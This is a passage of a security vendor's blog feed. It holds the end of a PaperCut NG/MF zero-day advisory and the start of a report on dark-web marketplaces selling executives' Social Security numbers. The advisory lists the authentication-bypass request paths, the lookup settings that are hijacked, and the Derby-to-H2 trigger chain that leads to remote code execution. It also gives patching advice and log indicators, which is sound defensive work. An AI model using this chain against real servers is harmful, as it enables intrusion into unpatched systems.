style='font-size: undefined;'>available</span></a><span style='font-size: undefined;'> to validate exposure to the exploit chain.</span></p><h2 style="direction: ltr;">Technical overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The vulnerability is an authentication bypass that lets attackers invoke privileged PaperCut components. This can be leveraged to reconfigure an external database lookup. When this lookup is triggered, malicious SQL can be executed, resulting in remote code execution.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>PaperCut uses the Apache </span><a href="https://tapestry.apache.org/"><span style='font-size: undefined;'>Tapestry</span></a><span style='font-size: undefined;'> framework, whose "complex direct" request format can identify one page to display and a different page containing the component to execute. PaperCut validates access only to the displayed page. By selecting either the public </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Error</span></span><span style='font-size: undefined;'> page or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Exception</span></span><span style='font-size: undefined;'> page for display, an attacker can bypass authentication while invoking administrative components belonging to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ConfigEditor</span></span><span style='font-size: undefined;'> or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>UserList</span></span><span style='font-size: undefined;'>. Additionally, the first emergency patch could be bypassed by using the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Home</span></span><span style='font-size: undefined;'> page for display, however the newest version of the vendor patch correctly remediates this bypass.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The attack uses HTTP POST requests to the following URIs (Note that the path segment with the value 1 shown below can be any value for this path segment, and the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Error</span></span><span style='font-size: undefined;'> path segment may also be the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Exception</span></span><span style='font-size: undefined;'> or </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>Home</span></span><span style='font-size: undefined;'> path segment):</span></p><pre language="html">/app?service=direct/1/Error/ConfigEditor/quickFindForm
/app?service=direct/1/Error/ConfigEditor/$Form
/app?service=direct/1/Error/UserList/$QuickFind.$Form</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The first two URIs provide unauthenticated access to PaperCut's configuration editor. The third can invoke a user or card search that triggers the configured external database lookup.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>An attacker first uses the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ConfigEditor</span></span><span style='font-size: undefined;'> requests to modify four external user-lookup settings:</span></p><pre language="html">user-lookup.db-driver
user-lookup.db-url
user-lookup.id-to-username-sql
user-lookup.enabled</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>These settings normally allow administrators to connect PaperCut to an external card database. After bypassing authentication, however, the attacker can configure them with a malicious JDBC connection and a malicious SQL statement.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>By leveraging PaperCut's bundled Apache Derby database driver and supplying a Derby </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>CALL</span></span><span style='font-size: undefined;'> statement that activates its </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>foreignViews</span></span><span style='font-size: undefined;'> feature, Derby opens an attacker-controlled H2 JDBC URL. H2 processes an inline </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>INIT</span></span><span style='font-size: undefined;'> statement that creates a JavaScript-backed database trigger. PaperCut includes the Nashorn JavaScript engine, allowing that trigger to start an operating-system process. However it is expected that other mechanisms to execute an arbitrary command can also be used instead of Nashorn. Finally, the attacker submits a search through the forged </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>UserList</span></span><span style='font-size: undefined;'> request. This activates the external lookup and executes the malicious SQL.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Organizations running PaperCut NG or PaperCut MF should prioritize patching on an emergency basis, particularly where the PaperCut Application Server is accessible from the public internet.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>PaperCut has released emergency </span><a href="https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/#emergency-patch-release"><span style='font-size: undefined;'>patches</span></a><span style='font-size: undefined;'> for PaperCut NG and PaperCut MF versions 24, 25 and 26. </span></p><p><span style='font-size: undefined;'><strong>Updated on September 1, 2026: Note that the vendor has released a </strong></span><a href="https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/#emergency-patch-release-3"><span style='font-size: undefined;'><strong>third version</strong></span></a><span style='font-size: undefined;'><strong> of the emergency patch. Any organization that has applied either the original first version or the second version of the emergency patch is not fully protected, and must apply the third emergency patch immediately.</strong></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The vendor notes that these builds have not undergone their normal release process and are intended as emergency fixes for customers with public-facing servers that cannot otherwise sufficiently mitigate exposure.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>PaperCut recommends that administrators immediately restrict web access to trusted IP addresses only, such as internal corporate network ranges. Firewall rules, network access controls, reverse-proxy restrictions, or equivalent measures should be used to prevent untrusted internet hosts from reaching PaperCut web interfaces.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Please read the PaperCut security </span><a href="https://www.papercut.com/kb/Main/security-bulletin-27-aug-2026-urgent-security-advisory/"><span style='font-size: undefined;'>advisory</span></a><span style='font-size: undefined;'> for the latest remediation guidance, updated indicators of compromise, and additional release information.</span></p><h2 style="direction: ltr;">Artifacts/Evidence Sources and IOCs</h2><p style="direction: ltr;"><span style='font-size: undefined;'>For detection and forensic analysis, PaperCut has identified several preliminary artifacts and evidence sources that may indicate compromise.</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Application activity:</strong></span><span style='font-size: undefined;'> Alerts from intrusion-detection, endpoint-security, or network-monitoring products involving the PaperCut Application Server, particularly suspicious post-exploitation activity associated with </span><span style='font-size: undefined;'>pc-app.exe</span><span style='font-size: undefined;'>.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Log integrity:</strong></span><span style='font-size: undefined;'> Missing, unexpectedly truncated, or deleted PaperCut </span><span style='font-size: undefined;'>server.log</span><span style='font-size: undefined;'> files.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>PaperCut </strong></span><span style='font-size: undefined;'><strong>server.log</strong></span><span style='font-size: undefined;'><strong> entries:</strong></span></p></li><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ERROR No suitable driver found for jdbc:no:x</span></span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>ERROR DatabaseUtils - Database error looking up cardID: VALUES CAST</span></span></p></li></ul></ul><p style="direction: ltr;"><span style='font-size: undefined;'>PaperCut has not yet published validated network-based indicators such as malicious IP addresses, domains, or URLs.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The vendor specifically warns that the absence of these indicators should not be interpreted as evidence that a system has not been affected.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><h3 style="direction: ltr;">Exposure Command, InsightVM, and Nexpose</h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, InsightVM, and Nexpose customers can assess exposure to this new PaperCut zero-day, with an authenticated vulnerability check expected to be available in the August 28 (today’s) content release.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>August 28, 2026:</strong></span><span style='font-size: undefined;'> Initial publication.</span></p></li><li><span style='font-size: undefined;'><strong>August 28, 2026:</strong></span><span style='font-size: undefined;'> Updated to reflect new emergency patches and CVE ID assignment. Updated remediation to include the new v24 patches. Updated Technical Overview to indicate first patch bypass.</span></li><li><span style='font-size: undefined;'><strong>August 31, 2026:</strong></span><span style='font-size: undefined;'> Updated the Overview to note that both CVEs were added to the CISA KEV list, and the availability of a Metasploit module.</span></li><li><span style='font-size: undefined;'><strong>September 1, 2026:</strong></span><span style='font-size: undefined;'> Updated the Remediation section to reflect the vendor's new emergency patch (release 3).</span></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-papercut-ng-mf-critical-zero-day-exploited-in-the-wild</link>
      <guid isPermaLink="false">blt64fadfaa2bae3901</guid>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Vulnerability Management]]></category>
      <category><![CDATA[Zero-Day]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Fri, 28 Aug 2026 10:09:12 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[Identity-as-a-Service: Uncovering Dark Web Marketplaces Trading Executive SSNs]]></title>
      <description><![CDATA[<h2>Introduction</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Despite modern verification controls, identity theft remains one of the most pervasive threats to both individuals and enterprise organizations. U.S. Federal Trade Commission statistics show over 1 million identity theft reports annually, with related fraud and imposter scams accounting for billions in financial losses each year. While stolen credit cards enable rapid, short-term monetization, Social Security numbers (SSNs) represent a far more permanent and dangerous tier within the cybercrime ecosystem, because unlike payment cards, they cannot simply be deactivated. Once exposed, an SSN can support enabling unauthorized lines of credit, synthetic identity fraud, and sophisticated tax scams.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>When exposed identity data belongs to corporate executives, board members, and other high-profile employees, the risk can extend beyond the individual. Threat actors target these high-profile individuals not just for their premium credit profiles, but to leverage their compromised identities for executive impersonation, corporate espionage, and downstream extortion. Rapid7’s recent alert telemetry underscores the severity of this targeted exposure: since early 2026 alone, we identified 476 instances of compromised SSN records across 395 unique corporate personnel. Over 73% of these exposures directly targeted top-level leadership, with C-suite executives comprising 44.6% of affected profiles and Presidents making up another 28.6%. Unsurprisingly, given the geographical nature of SSNs, 95.6% of these leaks stemmed from U.S.-headquartered organizations, concentrated heavily in high-value sectors like Financials (over 25%) and Industrials (17%).</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In this blog, we explore the operational mechanics of the underground identity economy, focusing on three dominant SSN marketplaces tracked by Rapid7: Xilo, Bankom, and PeopleFinder, which together account for 81.5% of all executive SSN leaks in our dataset (led by Xilo at 40.8%, Bankom at 21.8%, and PeopleFinder at 18.9%). Using Rapid7 alert telemetry from the past year, we look at the profiles of affected corporate executives, how these marketplaces operate, and highlight how proactive dark web monitoring can mitigate upstream identity exposure before it is weaponized.</span></p><h2>Why stolen SSNs retain their value</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Not all stolen data retains its value for the same length of time. Leaked credentials can be reset, payment cards can be cancelled, and session tokens eventually expire. While these data types remain highly sought after by cybercriminals, their usefulness often depends on acting quickly before the victim or service provider invalidates them.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>SSNs differ as they are effectively permanent, serving as a core identity attribute. Once exposed, they can remain valuable for years, enabling a wide range of fraud schemes long after the original breach. When combined with other personally identifiable information (PII), such as a victim's name, date of birth, address, phone number, and employment history, an SSN becomes the foundation of a comprehensive identity profile that can be bought, sold, and repeatedly abused across the criminal ecosystem.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>These identity profiles enable far more than traditional identity theft. Threat actors use them to open fraudulent financial accounts, create synthetic identities, bypass identity verification processes, file fraudulent tax or government benefit claims, and support highly targeted social engineering campaigns. Rather than serving a single purpose, a complete identity record becomes a reusable asset that can be monetized multiple times by different threat actors.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For corporate executives and other high-profile employees, exposed identity data can also create risk for the organization they represent. Publicly available information, from regulatory filings to corporate biographies and social media, can be combined with stolen identity data to build highly detailed profiles. These enriched records increase the credibility of phishing, business email compromise (BEC), and executive impersonation attacks, allowing threat actors to target not only the individual but also the organization they represent.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This durability has fueled a thriving underground economy where identity records are treated as searchable, reusable inventory rather than one-time commodities. The marketplaces examined in this research demonstrate just how mature and accessible this ecosystem has become.</span></p><h2>Anatomy of an SSN marketplace</h2><p style="direction: ltr;"><span style='font-size: undefined;'>While platforms like Xilo, Bankomat, and PeopleFinder present a highly organized, user-friendly storefront, they operate strictly as downstream clearinghouses rather than original creators of their inventory. The vast supply of SSNs flooding these networks relies on a distinct, multi-tiered underground supply chain. The massive volume driving these platforms is primarily fueled by large-scale institutional network breaches, where wholesale hackers compromise data aggregators, healthcare systems, and financial providers. These massive SQL databases are sold in bulk on deep-web forums, where marketplace administrators purchase, parse, and upload them into their searchable storefronts. According to annual telemetry from the Identity Theft Resource Center, billions of individual data records are exposed annually through these mega-breaches, accounting for the vast majority of the inventory available online.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Another source of identity data comes from infostealer malware and targeted phishing campaigns. While mass breaches provide wholesale numbers, infostealers scrape highly contextual local data, such as saved browser forms and PDF documents like tax returns or corporate onboarding paperwork stored on unmanaged personal devices. When these localized logs are parsed by marketplace administrators, they yield the fresh, high-value identity profiles that allow buyers to target specific corporate leaders.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Although these platforms tap into a similar upstream supply chain, how they package and monetize this data varies significantly. To stand out in a maturing, highly competitive cybercrime market, each marketplace focuses on its own operational niche, ranging from ultra-low pricing and identity enrichment features to multi-asset carding integration and legacy data consistency. The following sections provide a deep dive into each marketplace, highlighting their specific functionalities, user interfaces, and distinct market advantages.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Xilo </span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Xilo has been active since at least March 2025. The marketplace is hosted as a Tor hidden service, while also maintaining mirror sites on the clear web to improve accessibility and resilience.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Users can search for specific individuals by name, state, country (US or Canada), or year of birth (Figure 1). They can also request records that include phone numbers and email addresses in addition to the victim's SSN. This can increase the value of the records by reducing the need for threat actors to source additional PII elsewhere. During our analysis, however, we did not identify any records that included email addresses, while records containing phone numbers were available at the same price as standard SSN records. Search results can also be sorted by price, although the cost appears to be fixed at $0.25 per SSN record.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blteda19dbdc405f202/6a90417460f7951d49d75eb7/Xilo-search-interface.png" alt="Xilo-search-interface.png" caption="Figure 1 – Xilo search interface" height="383" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Xilo-search-interface.png" width="1559" max-width="1559" max-height="383" style="max-width: 1559px; width: 1559px; max-height: 383px; height: 383px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blteda19dbdc405f202/6a90417460f7951d49d75eb7/Xilo-search-interface.png" data-sys-asset-uid="blteda19dbdc405f202" data-sys-asset-filename="Xilo-search-interface.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1 – Xilo search interface" data-sys-asset-alt="Xilo-search-interface.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 1 – Xilo search interface</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Search results typically display the victim's full name, physical address, and date of birth before purchase. This information alone can help threat actors identify specific individuals for targeted campaigns, while the SSN is revealed only after the purchase is completed (Figure 2).</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b7d664480dc4a31/6a9041c00a3bbeb38059e261/xilo-search-results.png" alt="xilo-search-results.png" caption="Figure 2 – Xilo search results" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="xilo-search-results.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5b7d664480dc4a31/6a9041c00a3bbeb38059e261/xilo-search-results.png" data-sys-asset-uid="blt5b7d664480dc4a31" data-sys-asset-filename="xilo-search-results.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 2 – Xilo search results" data-sys-asset-alt="xilo-search-results.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 2 – Xilo search results</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>In addition to standard searches, Xilo offers a reverse lookup service that accepts an SSN or phone number and returns additional PII, including the victim's full name and phone number (Figure 3). This service costs $0.50 per lookup, suggesting that enriching an existing identity profile is considered more valuable than purchasing an SSN alone. Threat actors can use this functionality to expand records obtained through the standard search, increasing the amount of PII associated with a single individual and, consequently, the potential for identity fraud.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltffe316bdd83f65d5/6a9041f5d05d4c308e580ae5/xilo-reverse-search.png" alt="xilo-reverse-search.png" caption="Figure 3 – Xilo reverse search" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="xilo-reverse-search.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltffe316bdd83f65d5/6a9041f5d05d4c308e580ae5/xilo-reverse-search.png" data-sys-asset-uid="bltffe316bdd83f65d5" data-sys-asset-filename="xilo-reverse-search.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3 – Xilo reverse search" data-sys-asset-alt="xilo-reverse-search.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 3 – Xilo reverse search</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>The marketplace is supported by a Telegram channel used to announce technical updates and new domains. Although activity on the channel has been relatively limited, it has attracted more than 500 subscribers, providing an indication of interest in the service. Like many established cybercriminal services, Xilo appears prepared for domain disruptions by maintaining alternative access points and communicating them through Telegram, adopting the kind of resilience and service-continuity practices more commonly associated with legitimate online services.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Xilo accepts several cryptocurrencies, including Bitcoin, Litecoin, Monero, Ether, and Tether (USDT). Support for USDT is relatively uncommon among underground marketplaces and may reflect the marketplace's focus on US-based identity data. The minimum deposit is just $1, lowering the barrier to entry for new users, while bonuses are offered for deposits exceeding $100 to encourage larger account balances.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Beyond its own infrastructure, Xilo actively advertises on well-known cybercrime forums, including XSS, as well as carding communities such as WWH-Club and Altenens (Figure 4). This marketing strategy is common among underground marketplaces seeking to expand their customer base. More notably, Xilo's presence on carding-focused forums highlights the close relationship between stolen payment data and identity information, illustrating how different segments of the cybercrime ecosystem increasingly overlap and complement one another.</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7b8f2bd1df6fa1de/6a9042b20a3bbe812a59e279/Xilo-advertisement_-Altenens.png" alt="Xilo-advertisement_-Altenens.png" caption="Figure 4 – Xilo advertisement on Altenens" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Xilo-advertisement_-Altenens.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7b8f2bd1df6fa1de/6a9042b20a3bbe812a59e279/Xilo-advertisement_-Altenens.png" data-sys-asset-uid="blt7b8f2bd1df6fa1de" data-sys-asset-filename="Xilo-advertisement_-Altenens.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4 – Xilo advertisement on Altenens" data-sys-asset-alt="Xilo-advertisement_-Altenens.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 4 – Xilo advertisement on Altenens</figcaption></div></figure><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Bankomat</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Active since at least March 2022, Bankomat is one of the more established marketplaces operating in the underground identity theft ecosystem. The platform is accessible as a Tor hidden service while maintaining multiple clear web domains to improve availability. Its emergence coincided with the shutdown of several prominent carding and PII marketplaces, including Joker's Stash and SSNDOB Marketplace, suggesting that Bankomat sought to capitalize on the resulting gap by combining identity data sales with traditional carding services.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The marketplace prominently lists its active domains and encourages users to save its onion address, describing it as the most reliable way to access the service. This reflects an awareness of the operational challenges faced by long-running underground marketplaces, particularly the risk of domain seizures and takedowns. By maintaining multiple access points and actively directing users toward its Tor service, Bankomat demonstrates the operational maturity needed to retain its customer base despite infrastructure disruptions.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Users can search for individuals by first and last name, combined with an additional identifier such as state, city, ZIP code, or date of birth (Figure 5). The search functionality is free, allowing users to identify potential victims before deciding whether to purchase a record. Search results display the victim's full name, date of birth, and physical addresses, while the SSN is revealed only after purchase at a fixed cost of $4 per record. Unlike Xilo, however, Bankomat does not offer additional identity enrichment services or the ability to purchase supplementary PII directly through the platform.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt906858a51dc885cc/6a9043058433ee1e2e840353/Bankomat-search-bar.png" alt="Bankomat-search-bar.png" caption="Figure 5 – Bankomat search bar" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Bankomat-search-bar.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt906858a51dc885cc/6a9043058433ee1e2e840353/Bankomat-search-bar.png" data-sys-asset-uid="blt906858a51dc885cc" data-sys-asset-filename="Bankomat-search-bar.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 5 – Bankomat search bar" data-sys-asset-alt="Bankomat-search-bar.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 5 – Bankomat search bar</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Beyond SSN records, Bankomat also functions as a traditional carding marketplace by offering stolen payment card details for sale, obtained through third-party sellers. The platform supports card validation services, including Viper and 4chk, allowing buyers to verify whether stolen payment cards remain active before using or reselling them. Similar functionality is offered by established carding marketplaces, such as Findsome and UltimateShop.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>This combination of identity records, payment card data, and validation tools positions Bankomat as a one-stop marketplace for financially motivated threat actors. Rather than sourcing stolen identities and payment data from separate platforms, buyers can acquire multiple data types associated with the same victim through a single service. While SSN records cost $4, stolen payment card details are typically advertised for approximately $10, suggesting that Bankomat places greater commercial emphasis on its carding business, likely reflecting both higher profit margins and sustained demand within the underground economy (Figure 6).</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb5ce8efb1b13a40a/6a904338d62e1184b0e364ce/bankomat-credit-card-listings.png" alt="bankomat-credit-card-listings.png" caption="Figure 7 – PeopleFinder SSN listings" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="bankomat-credit-card-listings.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltb5ce8efb1b13a40a/6a904338d62e1184b0e364ce/bankomat-credit-card-listings.png" data-sys-asset-uid="bltb5ce8efb1b13a40a" data-sys-asset-filename="bankomat-credit-card-listings.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 7 – PeopleFinder SSN listings" data-sys-asset-alt="bankomat-credit-card-listings.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 7 – PeopleFinder SSN listings</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Bankomat currently accepts payments exclusively in Bitcoin, in contrast to newer marketplaces that increasingly support a wider range of cryptocurrencies to appeal to a broader customer base.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>PeopleFinder</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Active since at least February 2023, PeopleFinder is a successor to the SSNDOB Marketplace, whose primary domains were seized by law enforcement in June 2022. Following that takedown, the service re-emerged through a network of lookup mirrors using clear-web-sounding domain names such as “PeopleFinder.” The connection is also visible in the source code, where the front-end login page retains the original “ssndob” title text and logo. Through this infrastructure, the platform provides access to the same legacy database of more than 24 million compromised U.S. PII records.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>To maintain a steady customer stream, PeopleFinder actively advertises its database on high-profile cybercrime and carding forums like WWH-Club and Exploit. This deliberate marketing keeps the service highly visible to financially motivated threat actors seeking verification tools for downstream fraud.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The layout itself is highly streamlined, featuring a basic search bar that closely mirrors Bankomat's interface. Users can search the platform's database by name, date of birth, or physical address completely free of charge. The initial search output displays the victim's full name, date of birth, and associated physical addresses, allowing a threat actor to confirm they have targeted the correct corporate executive before paying for the record (Figure 7).</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc6ad5198e8f326a6/6a9043f060f7958996d75ece/peoplefinder-ssn-listings.png" alt="peoplefinder-ssn-listings.png" caption="Figure 7 – PeopleFinder SSN listings" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="peoplefinder-ssn-listings.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/bltc6ad5198e8f326a6/6a9043f060f7958996d75ece/peoplefinder-ssn-listings.png" data-sys-asset-uid="bltc6ad5198e8f326a6" data-sys-asset-filename="peoplefinder-ssn-listings.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 7 – PeopleFinder SSN listings" data-sys-asset-alt="peoplefinder-ssn-listings.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 7 – PeopleFinder SSN listings</figcaption></div></figure><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>To reveal the hidden SSN, users must pay a fixed cost of $1.50 per lookup, putting its pricing structure right between Xilo and Bankomat. This strict, hyper-commoditized focus solely on core SSN details directly mirrors the operational blueprint of the original SSNDOB model. Rather than expanding into supplementary data types like phone numbers or credit cards, the operators chose to preserve their highly efficient, legacy pay-per-lookup infrastructure. The platform relies exclusively on Bitcoin transactions.</span></p><h2>What Rapid7 telemetry reveals about the executive threat landscape</h2><p style="direction: ltr;"><span style='font-size: undefined;'>By monitoring dark web SSN marketplaces, Rapid7 actively alerts clients when leaked records of their executives or designated employees are discovered.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Since the beginning of 2026, our telemetry has identified 476 instances of compromised SSN records, representing 395 unique individuals, as several monitored personnel were affected by multiple exposures. Within this sample, most of the leaked SSNs were recorded in Xilo (40.8%), followed by Bankom (21.8%) and PeopleFinder (18.9%) (Figure 8).</span></p><p></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9c8deb9f4e41851d/6a904441d4aaa70e0b7f0e80/leaked-ssns-by-marketplace.png" alt="leaked-ssns-by-marketplace.png" caption="Figure 8 – The sample distribution of leaked SSNs by marketplace" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="leaked-ssns-by-marketplace.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt9c8deb9f4e41851d/6a904441d4aaa70e0b7f0e80/leaked-ssns-by-marketplace.png" data-sys-asset-uid="blt9c8deb9f4e41851d" data-sys-asset-filename="leaked-ssns-by-marketplace.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 8 – The sample distribution of leaked SSNs by marketplace" data-sys-asset-alt="leaked-ssns-by-marketplace.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 8 – The sample distribution of leaked SSNs by marketplace</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Given that SSNs are issued within the United States, the overwhelming majority of compromised records in our dataset, 95.6%, were linked to organizations headquartered in the U.S., with others located in Spain, Canada, and Japan, trailing significantly behind (Figure 9).</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7c4c10ea9f65329d/6a9044770a3bbeb4e859e287/leaked-ssns-by-country.png" alt="leaked-ssns-by-country.png" caption="Figure 9 – The sample distribution of leaked SSNs by country" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="leaked-ssns-by-country.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt7c4c10ea9f65329d/6a9044770a3bbeb4e859e287/leaked-ssns-by-country.png" data-sys-asset-uid="blt7c4c10ea9f65329d" data-sys-asset-filename="leaked-ssns-by-country.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 9 – The sample distribution of leaked SSNs by country" data-sys-asset-alt="leaked-ssns-by-country.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 9 – The sample distribution of leaked SSNs by country</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>Financials represented the largest sector in our sample, accounting for more than a quarter of organizations whose monitored executives appeared in leaked SSN records, followed by Industrials at 17% (Figure 10). One possible reason for the concentration in Financials is the volume and sensitivity of customer and employee data these organizations hold, including PII and tax-related information, which can make exposed identities particularly valuable to threat actors. Industrials may also present attractive targets because of their interconnected supply chains, where compromised identities can potentially support broader fraud, impersonation, or access attempts across partner ecosystems.</span></p><p><span style='font-size: undefined;'></span></p><figure style="margin: 0"><div 